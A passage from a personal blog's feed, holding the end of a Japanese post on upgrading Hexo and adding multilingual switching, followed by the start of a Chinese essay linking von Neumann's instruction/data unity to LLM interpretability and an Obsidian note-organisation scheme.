ID（<code>abbrlink</code>）と全言語版のルートを結びつける。フロントエンドはこのテーブルを直接読み取って即座に切り替えができ、サーバーへのリクエスト不要で応答が速い。</p><h4 id="5-全体のワークフロー"><a href="#5-全体のワークフロー" class="headerlink" title="5. 全体のワークフロー"></a>5. 全体のワークフロー</h4><p>このスクリプトの指揮の下、Hexo のビルド順序は：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">graph TD</span><br><span class="line">    A[ビルド開始] --&gt; B[Step 1: 翻訳記事のパーマリンク修正]</span><br><span class="line">    B --&gt; C[Step 2: 言語ごとのリストページ生成]</span><br><span class="line">    C --&gt; D[Step 3: 言語切り替えロジックと翻訳バナーの注入]</span><br><span class="line">    B --&gt; E[Step 4: フロントエンド言語マップ i18n-map.js 生成]</span><br><span class="line">    D --&gt; F[静的サイト生成完了]</span><br><span class="line">    E --&gt; F</span><br></pre></td></tr></table></figure><table><thead><tr><th align="left">段階</th><th align="left">技術ポイント</th><th align="left">出力物</th><th align="left">フロントエンドの成果</th></tr></thead><tbody><tr><td align="left">ルーティング</td><td align="left"><code>post_permalink</code> フィルター</td><td align="left">記事の言語別 URL</td><td align="left">URL 構造が明確</td></tr><tr><td align="left">リスト生成</td><td align="left">4種ジェネレーターをオーバーライド</td><td align="left">言語別トップ&#x2F;アーカイブ&#x2F;カテゴリ&#x2F;タグ</td><td align="left">コンテンツが言語で分離、404なし</td></tr><tr><td align="left">ページ装飾</td><td align="left"><code>after_render:html</code></td><td align="left">修正済み HTML</td><td align="left">スマート切り替え + 翻訳バナー</td></tr><tr><td align="left">データ層</td><td align="left"><code>i18n_map</code> ジェネレーター</td><td align="left"><code>/js/i18n-map.js</code></td><td align="left">フロントエンド用ルート辞書</td></tr></tbody></table><h3 id="翻訳ワークフロー（今後は私が実施）"><a href="#翻訳ワークフロー（今後は私が実施）" class="headerlink" title="翻訳ワークフロー（今後は私が実施）"></a>翻訳ワークフロー（今後は私が実施）</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">AI が初稿を翻訳 → 私が精査 → source/_posts/en/ に配置</span><br><span class="line">→ front-matter に lang: en + 原文と同じ abbrlink を記載</span><br><span class="line">→ ローカルプレビューで検証 → git push で公開</span><br></pre></td></tr></table></figure><h3 id="切り替えボタンのインタラクションロジック"><a href="#切り替えボタンのインタラクションロジック" class="headerlink" title="切り替えボタンのインタラクションロジック"></a>切り替えボタンのインタラクションロジック</h3><table><thead><tr><th>シチュエーション</th><th>動作</th></tr></thead><tbody><tr><td>記事に中国語&#x2F;英語版がある</td><td>クリック可能。対応言語版へジャンプ</td></tr><tr><td>その言語版がない</td><td>ボタンをグレーアウト無効化、ホバーで「この記事にはこの言語版がありません」</td></tr><tr><td>他言語版がある</td><td>記事上部にバナー：「🌐 この記事には他言語版もあります：English」</td></tr><tr><td>言語サイトのトップ</td><td>その言語の記事一覧のみ表示</td></tr></tbody></table><h2 id="四、テーマ試乗（安知鱼）"><a href="#四、テーマ試乗（安知鱼）" class="headerlink" title="四、テーマ試乗（安知鱼）"></a>四、テーマ試乗（安知鱼）</h2><h3 id="ゼロ汚染の共存プラン"><a href="#ゼロ汚染の共存プラン" class="headerlink" title="ゼロ汚染の共存プラン"></a>ゼロ汚染の共存プラン</h3><p>既存の NexT 設定を壊さず、ローカルで2台のサーバーを並行起動。ページの要件を見ながら、旧テーマのカスタム設定を少しずつ移行する：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ポート 4100 → NexT テーマ（hexo server -p 4100）</span><br><span class="line">ポート 4200 → 安知鱼テーマ（hexo server --config &quot;_config.yml,_config.anzhiyu_test.yml&quot; -p 4200）</span><br></pre></td></tr></table></figure><p><code>_config.anzhiyu_test.yml</code> は1行の設定だけでテーマを切り替えられるようにしてあり、いつでもミニマルスタイルに戻せる：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">theme:</span> <span class="string">anzhiyu</span></span><br></pre></td></tr></table></figure><p>起動時に Hexo が2つの設定ファイルをマージし、安知鱼が <code>theme</code> フィールドを上書きする。その他の設定（記事、多言語スクリプトなど）はメイン設定を共有する。</p><h3 id="安知鱼の設定体系"><a href="#安知鱼の設定体系" class="headerlink" title="安知鱼の設定体系"></a>安知鱼の設定体系</h3><p><strong>重要：</strong> 安知鱼の設定はすべてブログルートの <code>_config.anzhiyu.yml</code> で変更する。<code>themes/anzhiyu/</code> 内のファイルには触らない。</p><h3 id="機能移行チェックリスト"><a href="#機能移行チェックリスト" class="headerlink" title="機能移行チェックリスト"></a>機能移行チェックリスト</h3><p>旧ブログのカスタム小機能の移行——新テーマに残すもの、やめるもの。</p><table><thead><tr><th>機能</th><th>安知鱼での状態</th><th>備考</th></tr></thead><tbody><tr><td>Live2D 看板娘</td><td>✅ 残す</td><td>autoload.js を注入。音楽プレイヤーは左上に移動して干渉を回避</td></tr><tr><td>多言語切り替え</td><td>✅ 移植</td><td>右側フローティングバーに注入。無効化&#x2F;ジャンプのロジックを踏襲</td></tr><tr><td>コピーボタン</td><td>❌ 不要</td><td>新テーマに内蔵</td></tr><tr><td>クラッシュ演出</td><td>❌ 不要</td><td>新テーマには別の形がある</td></tr><tr><td>読書進捗</td><td>❌ 不要</td><td>新テーマに内蔵</td></tr><tr><td>コメント&#x2F;フレンドリンク&#x2F;メニュー等</td><td>手動で少しずつ</td><td>NexT 設定から1項目ずつ移行</td></tr></tbody></table><h2 id="五、現在の設定と操作ガイド"><a href="#五、現在の設定と操作ガイド" class="headerlink" title="五、現在の設定と操作ガイド"></a>五、現在の設定と操作ガイド</h2><h3 id="多言語設定の説明"><a href="#多言語設定の説明" class="headerlink" title="多言語設定の説明"></a>多言語設定の説明</h3><p><code>_config.yml</code> の以下のフィールドを変更：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 言語順序：最初がデフォルト言語（中国語）</span></span><br><span class="line"><span class="attr">language:</span> [<span class="string">zh-CN</span>, <span class="string">en</span>, <span class="string">ja</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># 多言語プラグイン設定</span></span><br><span class="line"><span class="attr">i18n_blog:</span></span><br><span class="line">  <span class="attr">default_language:</span> <span class="string">zh-CN</span>     <span class="comment"># デフォルト言語</span></span><br><span class="line">  <span class="attr">langs:</span> [<span class="string">en</span>, <span class="string">ja</span>]             <span class="comment"># 有効化する他の言語</span></span><br></pre></td></tr></table></figure><h3 id="新記事の書き方"><a href="#新記事の書き方" class="headerlink" title="新記事の書き方"></a>新記事の書き方</h3><p><strong>中国語記事（デフォルト言語）：</strong></p><p>ファイルの場所：<code>source/_posts/</code><br>例：<code>source/_posts/我的新文章.md</code></p><p>front-matter 例：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">title:</span> <span class="string">我的新文章</span></span><br><span class="line"><span class="attr">tags:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">标签1</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">标签2</span></span><br><span class="line"><span class="attr">categories:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">技术笔记</span></span><br><span class="line"><span class="attr">date:</span> <span class="number">2026-08-28 17:20:00</span></span><br><span class="line"><span class="meta">---</span></span><br></pre></td></tr></table></figure><p><code>lang</code> フィールドは不要。<code>abbrlink</code> はビルド時に自動生成される。</p><p><strong>英語翻訳（中国語原文とセットで）：</strong></p><p>ファイルの場所：<code>source/_posts/en/</code><br>例：<code>source/_posts/en/my-new-article.md</code></p><p>front-matter 例：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">title:</span> <span class="string">My</span> <span class="string">New</span> <span class="string">Article</span></span><br><span class="line"><span class="attr">tags:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">tag1</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">tag2</span></span><br><span class="line"><span class="attr">categories:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">Tech</span> <span class="string">Notes</span></span><br><span class="line"><span class="attr">date:</span> <span class="number">2026-08-28 17:20:00</span></span><br><span class="line"><span class="attr">lang:</span> <span class="string">en</span></span><br><span class="line"><span class="attr">abbrlink:</span> <span class="number">12345678</span>    <span class="comment"># 中国語版と同じ abbrlink</span></span><br><span class="line"><span class="meta">---</span></span><br></pre></td></tr></table></figure><p><strong>重要：</strong> <code>lang: en</code> の記載が必須。<code>abbrlink</code> は中国語版と同一にすること。</p><p><strong>日本語記事（現在は空サイト、翻訳ができたら配置）：</strong></p><p>ファイルの場所：<code>source/_posts/ja/</code><br>front-matter に <code>lang: ja</code> + 同じ <code>abbrlink</code> を記載。</p><h3 id="ローカルプレビュー方法"><a href="#ローカルプレビュー方法" class="headerlink" title="ローカルプレビュー方法"></a>ローカルプレビュー方法</h3><p><strong>NexT テーマ（ポート 4100）：</strong></p><p>ブログルートで実行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> D:\1\coding\hexo-blog-master</span><br><span class="line">hexo server -p 4100</span><br></pre></td></tr></table></figure><p><a href="http://localhost:4100/">http://localhost:4100</a> にアクセス</p><p><strong>安知鱼テーマ（ポート 4200）：</strong></p><p>ブログルートで実行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> D:\1\coding\hexo-blog-master</span><br><span class="line">hexo server --config <span class="string">&quot;_config.yml,_config.anzhiyu_test.yml&quot;</span> -p 4200</span><br></pre></td></tr></table></figure><p><a href="http://localhost:4200/">http://localhost:4200</a> にアクセス</p><p><strong>注意：</strong> <code>_config.anzhiyu.yml</code> や <code>source/css/</code> などのファイルを変更した後は、サーバーの再起動が必要。<code>Ctrl+C</code> で停止してから上記コマンドを再実行する。</p><h3 id="公開操作"><a href="#公開操作" class="headerlink" title="公開操作"></a>公開操作</h3><p>CNB クラウドネイティブビルド。master ブランチに push すると自動デプロイされる。ローカルの <code>hexo g</code> は不要。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> D:\1\coding\hexo-blog-master</span><br><span class="line">git add -A</span><br><span class="line">git commit -m <span class="string">&quot;更新内容&quot;</span></span><br><span class="line">git push origin master</span><br></pre></td></tr></table></figure><p><strong>注意：</strong> サンドボックス環境の git push は認証エラーになるため、上記コマンドはローカル端末（cmd&#x2F;PowerShell）で実行すること。</p><h3 id="安知鱼設定移行期間中のプレビュー"><a href="#安知鱼設定移行期間中のプレビュー" class="headerlink" title="安知鱼設定移行期間中のプレビュー"></a>安知鱼設定移行期間中のプレビュー</h3><p>現在の本番はまだ NexT テーマ。安知鱼の試乗設定は以下のファイルにあり、master には未コミット：</p><table><thead><tr><th>ファイル</th><th>説明</th></tr></thead><tbody><tr><td><code>_config.anzhiyu.yml</code></td><td>安知鱼オーバーライド設定（1342行）</td></tr><tr><td><code>_config.anzhiyu_test.yml</code></td><td>試乗スイッチ（1行のみ <code>theme: anzhiyu</code>）</td></tr><tr><td><code>source/css/anzhiyu-custom.css</code></td><td>安知鱼専用 CSS</td></tr><tr><td><code>source/js/i18n-switcher.js</code></td><td>言語切り替えボタン JS</td></tr><tr><td><code>themes/anzhiyu/</code></td><td>安知鱼テーマ本体</td></tr></tbody></table><p>メニュー・フレンドリンク・コメントなどの設定移行が完了したら、安知鱼を正式に本番にするか決める。</p><h2 id="六、TODO-と展望"><a href="#六、TODO-と展望" class="headerlink" title="六、TODO と展望"></a>六、TODO と展望</h2><ul><li><strong>SEO 専項</strong>：hreflang alternates、sitemap の多言語エントリ、robots.txt——今「misaka10013」で検索すると主に GitHub が出る。ブログの可視性を高めたい</li><li><strong>重点記事の翻訳</strong>：重要記事を選び、AI で初稿を翻訳して自分で精査し、英語版を徐々に充実させる</li><li><strong>安知鱼の正式公開</strong>：設定移行完了後に切り替えるか判断</li><li><strong>OSS キーのローテーション</strong>：deploy セクションの平文キーが git 履歴に残っているため、ローテーションを推奨</li></ul>]]>
    </content>
    <id>https://misaka10013.cn/ja/p/913761649.html</id>
    <link href="https://misaka10013.cn/ja/p/913761649.html"/>
    <published>2026-08-28T09:20:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="一、背景と動機"><a href="#一、背景と動機" class="headerlink" title="一、背景と動機"></a>一、背景と動機</h2><p>私のブログ（misaka10013.cn）は開設以来ずっと Hexo 4.2.0 + NexT 6.0.0 で、6年間フレームワークに触っていなかった。最近新しい機能を追加したりページを調整しようと、AI に作業を依頼するたびに「バージョンが古すぎる」と言われた——依存関係が時代遅れ、プラグインが非互換、設定構文も変わっている。そろそろ上げるべきだと分かっていながら、ずっと後回しにしていた。</p>
<p>最近、主にいくつか新しいアイデアがある：</p>]]>
    </summary>
    <title>Hexoアップグレード記：6年の歳月と多言語対応</title>
    <updated>2026-09-15T13:08:39.430Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="生活随笔" scheme="https://misaka10013.cn/categories/%E7%94%9F%E6%B4%BB%E9%9A%8F%E7%AC%94/"/>
    <category term="计算机原理" scheme="https://misaka10013.cn/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%8E%9F%E7%90%86/"/>
    <category term="认知体系" scheme="https://misaka10013.cn/tags/%E8%AE%A4%E7%9F%A5%E4%BD%93%E7%B3%BB/"/>
    <category term="知识管理" scheme="https://misaka10013.cn/tags/%E7%9F%A5%E8%AF%86%E7%AE%A1%E7%90%86/"/>
    <content>
      <![CDATA[<h1 id="指令即数据：从冯·诺依曼到我的Obsidian认知体系"><a href="#指令即数据：从冯·诺依曼到我的Obsidian认知体系" class="headerlink" title="指令即数据：从冯·诺依曼到我的Obsidian认知体系"></a>指令即数据：从冯·诺依曼到我的Obsidian认知体系</h1><h2 id="一、起因"><a href="#一、起因" class="headerlink" title="一、起因"></a>一、起因</h2><p>这两天我读了一篇知乎回答——《能从底层解释一下计算机的原理吗？》（Soulflare，见文末参考资料<sup id="fnref:1"><a href="#fn:1" rel="footnote">[1]</a></sup>），作者从沙子（硅）讲到晶体管，从晶体管讲到逻辑门，从逻辑门讲到加法器，再讲到内存、控制器、取指执行循环。整条链路清晰得像一条公路，没有一步用到魔法。</p><p>里面大部分内容是我大概了解的，但有一个细节，让御坂停下来深思。文章里一个看似轻描淡写的段落：</p><blockquote><p>你有没有想过，”指令”和”数据”长得一模一样？在内存里，指令是一串0和1，数据也是一串0和1。它们之间没有任何物理区别。同一个格子里存的01011001，你告诉CPU”这是指令”，它就去执行；你告诉它”这是数字”，它就拿去算加法。</p></blockquote><p>指令和数据不分离。</p><p>我以前知道这点，但从来没真正”理解”过这一条。它只是一个知识点，但我好奇之下，又和元宝AI来回讨论了几个回合，这个事实才真正在脑子里炸开——</p><p>（不是”知道了”，是”理解了”。这两者之间隔着一整个认知范式切换的距离。）</p><p>而这个炸开的瞬间，我开始不受控制地往一个奇怪的方向滑去：从计算机架构，滑到AI，滑到人脑，最后滑到了自己的Obsidian笔记体系。</p><p>这篇文章就是这次滑行的轨迹记录。</p><h2 id="二、计算机的秘密：不分离，所以万能"><a href="#二、计算机的秘密：不分离，所以万能" class="headerlink" title="二、计算机的秘密：不分离，所以万能"></a>二、计算机的秘密：不分离，所以万能</h2><p>先把计算机这边说清楚。</p><p>1945年，冯·诺依曼在EDVAC报告草案<sup id="fnref:2"><a href="#fn:2" rel="footnote">[2]</a></sup>里确立了后来统治计算机八十年的架构：运算器、控制器、存储器、输入、输出五大部分，其中最核心的设计决策，是<strong>把指令和数据放在同一个内存空间里，不做物理区分</strong>。这在当时看起来像是个工程上的偷懒——省一条总线，省一套寻址逻辑。但这个”偷懒”的后果是革命性的。</p><p>因为指令和数据不分家，所以<strong>程序可以修改程序自己</strong>。</p><p>一段指令可以生成另一段指令，写进内存，然后CPU跑过去执行刚刚被生成的新指令。程序不再是一个死的剧本，它可以在运行的过程中改写自己的剧本。</p><p>这个能力看起来简单，但它是整个软件文明的基石：</p><ul><li>能写一个程序，功能是”读入人类写的文字，翻译成CPU能执行的0和1”——这就是<strong>编译器</strong>。</li><li>能写一个程序，功能是”假装自己是另一台计算机”——这就是<strong>虚拟机</strong>。</li><li>能写一个程序，功能是”管理所有其他程序，决定谁先跑谁后跑”——这就是<strong>操作系统</strong>。</li><li>能写一个程序，功能是”根据输入的数据，自动调整自己的参数，让输出越来越接近正确答案”——这就是<strong>机器学习</strong>。</li></ul><p>全部来自同一个事实：指令和数据不分家。</p><p>知乎回答的原文里有一句话我赶紧可以的描述：<strong>“它只会无脑地执行下一条指令，但这个’什么都不会’恰好是万能的。”</strong></p><p>计算机什么都不会，所以什么都能做。它不被任何特定用途锁死，因为它的”指令”本身是可以被替换的data。换一串0和1，同一台机器就变成了完全不同的东西。硬件没变过一个晶体管，变的只是内存里的数据。</p><p>这就是”不分离”的力量：<strong>灵活性、通用性、自指能力</strong>。代价是——我们永远无法在物理层面区分”这是在执行”还是”这是在被处理”。一切都是0和1的洪流，指令和数据在同一个河床里奔涌，无法分辨哪一滴是水，哪一滴是驱动水流的重力。</p><p>（顺带一提，与冯·诺依曼架构相反的，还有一个哈佛架构：指令和数据存放在不同的存储空间、走不同的总线。它的指令不能被当作数据随意覆写，行为更稳定可控，代价是灵活性下降。应用于并行访问数据和指令、或指令区不易被程序改写的稳定系统场景。记住这个设定，第五节会用到它。）</p><h2 id="三、AI：不分离的极致形态，以及一个前沿痛点"><a href="#三、AI：不分离的极致形态，以及一个前沿痛点" class="headerlink" title="三、AI：不分离的极致形态，以及一个前沿痛点"></a>三、AI：不分离的极致形态，以及一个前沿痛点</h2><p>如果说冯·诺依曼架构让指令和数据在内存里混居，那大模型把它们混溶到了一个更彻底的境界。</p><p>传统编程里，虽然指令和数据共享内存，但至少还有代码段和数据段的逻辑划分。但神经网络连这点界限都抹掉了。</p><p>一个大模型里有什么？</p><p>有权重（weights），几千亿个浮点数。</p><p>这些权重是数据吗？当然是——它们是从训练数据里学出来的参数，存在显存里，可以被保存、加载、复制、微调。</p><p>但这些权重也是指令吗？**也是。**它们完全决定了模型的行为——给定同样的输入，权重不同，输出就完全不同。每一层权重的矩阵乘法，就是在”指挥”信号如何流转、如何变换、如何最终映射到一个概率分布上。这些权重就是模型的”程序”，只不过这个程序不是人写的，是从数据里涌现出来的。</p><p>（我们调用大模型的时候，本质上是在执行一段几千亿参数的”程序”。只不过这段程序不是任何人类工程师写的，而是用几百TB的文本数据，通过梯度下降，一点一点磨出来的。）</p><p>更诡异的是涌现。当参数量突破某个临界点，模型开始展现出从未被明确训练过的能力。我们只让它预测下一个词，但它突然会做数学题了，会写代码了，会推理了。</p><p>御坂和元宝AI讨论到这里的时候，碰到了一个有意思的事实：<strong>“大模型里的指令和数据是否分离”，恰好是当前AI研究的前沿痛点。</strong></p><p>可解释性研究（mechanistic interpretability）<sup id="fnref:3"><a href="#fn:3" rel="footnote">[3]</a></sup>的核心难题之一，就是没人能说清楚权重里哪些部分编码的是”知识”（数据：巴黎是法国首都），哪些部分编码的是”行为规则”（指令：回答要礼貌、推理要分步）。Anthropic提出的”叠加假说”（superposition hypothesis）<sup id="fnref:4"><a href="#fn:4" rel="footnote">[4]</a></sup>甚至认为，神经网络会把大量概念压缩叠加在同一组参数里，指令与数据的边界在物理上根本不存在。</p><p>更直接的证据来自知识编辑方向：ROME<sup id="fnref:5"><a href="#fn:5" rel="footnote">[5]</a></sup>、MEMIT<sup id="fnref:6"><a href="#fn:6" rel="footnote">[6]</a></sup>这类技术试图只修改模型里的某条”事实”而不影响其他能力，结果发现改一个事实常常引发连锁反应——行为跟着变、无关能力受损。为什么？因为事实（数据）和行为（指令）叠加在同一片权重里，牵一发而动全身。</p><p>也就是说：**冯·诺依曼在1945年做的那个决定，八十年后以更彻底的形式复现在了大模型里，并且成了这个领域最难啃的骨头之一。**我们依然不知道怎么把”模型知道的”和”模型会做的”干净地拆开。</p><p>从冯·诺依曼到深度学习，”不分离”的程度在一步步加深：</p><ul><li>冯·诺依曼：指令和数据共享内存，但逻辑上还可区分</li><li>元编程：代码可以生成代码，但生成规则是人定义的</li><li>神经网络：权重既是数据又是指令，且这个”指令”不是任何人定义的，是从数据中涌现的</li></ul><p>每一步，”谁是指令、谁是数据”的界限都更加模糊。每一步，系统的通用性和不可解释性都同时增加。</p><p>（这恰恰是灵活性和可控性的经典trade-off问题。越灵活越不可控，越不可控越强大。计算机科学里到处都是这个味道。）</p><h2 id="四、人：比冯·诺依曼更彻底的不分离"><a href="#四、人：比冯·诺依曼更彻底的不分离" class="headerlink" title="四、人：比冯·诺依曼更彻底的不分离"></a>四、人：比冯·诺依曼更彻底的不分离</h2><p>然后想着想着，我的脑子就开始往歪处想了。</p><p>计算机是指令和数据不分离。那人呢？</p><p>人的大脑里，”指令”是什么？是信念、价值观、思维模式、行为习惯、条件反射——那些决定我们”怎么想”和”怎么做”的东西。</p><p>“数据”是什么？是我们接收到的信息、读过的书、经历过的事、记住的知识——那些被我们”处理”的东西。</p><p>这两者在人脑里分离吗？</p><p><strong>完全不分离。</strong></p><p>而且比冯·诺依曼架构还不分离。计算机至少还有个指令寄存器和数据寄存器的功能区分，人脑连这个都没有。我们大脑里的神经元网络，存储记忆和执行思考用的是同一套物理基底——同一群神经元，同一套突触连接。</p><p>这意味着一个极其关键的事实：<strong>我们接收到的信息（data），会直接变成我们的思维模式（instruction）。</strong></p><p>读了一篇煽动性的文章，情绪反应模式就被微调了一点点。刷了三小时短视频，注意力阈值就被重塑了一点点。和某个人长期相处，说话方式就被偏移了一点点。</p><p>每一次信息输入，都是一次人脑权重参数的更新。</p><p>而且我们完全意识不到这个过程在发生。就像神经网络在训练时，每个batch的梯度更新都是微小到不可察觉的，但几万个batch之后，模型的行为已经面目全非。人也是一样——单次的信息输入微不足道，但日积月累，我们的”指令集”已经被改写得连自己都不认识了。</p><p>（我想到这里，马上有了些警惕。因为这恰恰是现代信息环境最可怕的地方——不是信息太多了，而是每一条信息都在无声地修改我们的”底层程序”，而我们对此毫无知觉。）</p><p>冯·诺依曼架构的”不分离”是一个精心选择的工程决策，它带来的是万能性。但人脑的”不分离”不是任何人选择的，它是进化的默认设置。它带来的，是极高的适应性和灵活性——人可以学习任何技能、适应任何环境、被任何文化塑造。</p><p>但代价是：<strong>我们太容易被改写了。</strong></p><p>广告不只是传递信息，它在修改欲望函数。算法推荐不只是帮我们筛选内容，它在修改注意力分配策略。社交媒体上的观点不只是数据输入，它在修改评判标准。</p><p>它们都以”数据”的身份进入大脑，然后在我不注意的时候，悄悄变成了”指令”。</p><p>我们以为是自己在用手机，其实是手机在用梯度下降训练我们。</p><h2 id="五、认知的哈佛架构：强行分离"><a href="#五、认知的哈佛架构：强行分离" class="headerlink" title="五、认知的哈佛架构：强行分离"></a>五、认知的哈佛架构：强行分离</h2><p>那怎么办？人脑的物理架构改不了，总不能给自己做个脑手术把记忆区和逻辑区分开。</p><p>但可以在<strong>认知层面</strong>做一件计算机架构里做过的事情。</p><p>正如第二节末尾提到的哈佛架构。指令和数据存储在不同的物理空间里，走不同的总线，有不同的访问机制。指令不能被当作数据随意覆写，系统行为稳定可控。</p><p>在认知层面，我反应过来，要做的关键事情，就是给自己建一个”认知哈佛架构”：<strong>在信息和信念之间，强行插一块隔离板。</strong></p><p><strong>信息层（数据区）</strong>：这是”我接收到的”和”我知道的”。包括新闻、文章、书籍、教程、数据、他人的观点、经验事实。这些是data，它们进入认知系统后，被归类、索引、存储，但<strong>不会被自动提升为信念或行为准则</strong>。</p><p><strong>信念层（指令区）</strong>：这是”我选择相信的”和”我决定按其行事的”。包括核心价值观、思维模型、决策原则、行为准则。这些是instruction，它们驱动思考和行动。<strong>它们只能通过一个显式的、有意识的”确认-写入”过程来更新</strong>，不能被信息层的data自动覆写。</p><p>关键在于中间的隔离机制：信息从数据区进入指令区，必须经过一个<strong>显式的升级仪式</strong>。不是被动地被影响，而是主动、谨慎的审阅和分析并最后决定”这条信息我要不要把它升格为信念”。</p><p>就像哈佛架构里数据不能直接被执行为指令——我们可以在数据区里存任何东西，但CPU不会去执行它们。只有通过一个显式的跨区写入操作，数据才能变成可执行的指令。</p><p>（说白了就是：我们可以看任何东西，但看完了不代表要信它，要抱有质疑的态度。得自己主动重视的审阅并决定”这个我要信”，它才能进入指令集。）</p><p>理念很清楚，但理念不落地就是空话。非常巧合的是，很早之前，我已经在Obsidian上有一套实践中的具体架构，下一节展开。</p><h2 id="六、我的Obsidian：认知哈佛架构的完整设计"><a href="#六、我的Obsidian：认知哈佛架构的完整设计" class="headerlink" title="六、我的Obsidian：认知哈佛架构的完整设计"></a>六、我的Obsidian：认知哈佛架构的完整设计</h2><p>在大概近七八年前，我在长期使用印象笔记的过程中，就开始不自觉的对信息进行分类，并在最近两三年迁移笔记知识到Obsidian的过程中，逐步建立起来一套目录结构。<code>1个人文件</code>、<code>2资讯收集</code>、<code>3知识整理</code>、<code>4信息输出</code>、<code>模板库</code>、<code>待处理</code>。<strong>这套结构是在最近读文章理解”指令数据分离”这个意识形成之前建立的</strong>，当时只是凭直觉觉得信息要分区管理。现在用”认知哈佛架构”的视角回头审视，会发现它已经无意识地长成了分离的样子，但也确实有明显的优化空间。这一节就把现状、映射关系、和重构方案描述一下。</p><h3 id="6-1-现有架构的映射"><a href="#6-1-现有架构的映射" class="headerlink" title="6.1 现有架构的映射"></a>6.1 现有架构的映射</h3><p>用今天我们关于”指令区&#x2F;数据区”的视角来看御坂现有的目录，映射关系是这样的：</p><table><thead><tr><th>目录</th><th>认知角色</th><th>内容性质</th></tr></thead><tbody><tr><td><code>1个人文件/01自我</code></td><td><strong>指令区·核心</strong></td><td>里面有原则清单、人生警示语录、禁止令牌与绿色许可令牌、学习论、御坂心论等等笔记——记录着纯粹的行为准则和思维模式</td></tr><tr><td><code>1个人文件/02领域和能力</code></td><td><strong>指令区·领域</strong></td><td>财务、外语、技术等各领域的方法论，包括各种提示词工程、财务投资原则等——“在这个领域怎么做事”</td></tr><tr><td><code>1个人文件/05技能目录</code></td><td><strong>指令区·元层</strong></td><td>技能追踪体系——关于”如何管理我的能力”的指令</td></tr><tr><td><code>2资讯收集</code></td><td><strong>数据区·原始层</strong></td><td>新闻简报、AI生成的生活异见、收集的文章——未经加工的输入</td></tr><tr><td><code>3知识整理</code></td><td><strong>数据区·加工层</strong></td><td>读书笔记、专题分析、复盘——处理过的知识</td></tr><tr><td><code>1个人文件/03临时项目和想法</code></td><td><strong>混合区（问题所在）</strong></td><td>项目记录（数据）和方法论雏形（指令候选）混在一起</td></tr><tr><td><code>1个人文件/04社交相关</code></td><td><strong>混合区（问题所在）</strong></td><td>身份认知（指令）和他人信息（数据）混在一起</td></tr><tr><td><code>4信息输出</code></td><td><strong>输出区</strong></td><td>博客、公众号草稿——执行指令、处理数据之后的产物</td></tr><tr><td><code>模板库</code></td><td><strong>总线协议</strong></td><td>定义指令和数据各自的”格式标准”</td></tr><tr><td><code>待处理</code></td><td><strong>闲置</strong></td><td>目前只有一个欢迎文件，形同虚设</td></tr></tbody></table><p>从我们今天新的想法视角来看，01自我、02领域能力、05技能目录这些”指令”确实和数据区（2资讯收集、3知识整理）天然分开了——这是长期对笔记信息分类中直觉做对的部分。但在部分的目录，仍存在着指令和数据共同混居；同时，对于指令和数据并没有分析和区别的机制；对于记录下来的指令是否纳入指令区，目前没有明确且严格的机制，大部分从外部读到的觉得耍激灵、一时间有趣的信息语句，毫无审阅的进入了指令区保存，并可能成为未来后期思考、决策和行为时的不合理支撑依据。</p><h3 id="6-2-重构方案：三区一栈一库"><a href="#6-2-重构方案：三区一栈一库" class="headerlink" title="6.2 重构方案：三区一栈一库"></a>6.2 重构方案：三区一栈一库</h3><p>参考计算机的架构分层（以及git的工作流），我觉得可以把信息的处理化为**”三区一栈一库”**这样一个架构：</p><p><img src="https://vdio-1252926453.cos.ap-chengdu.myqcloud.com/picgo/%E4%B8%89%E5%8C%BA%E4%B8%80%E6%A0%88.png" 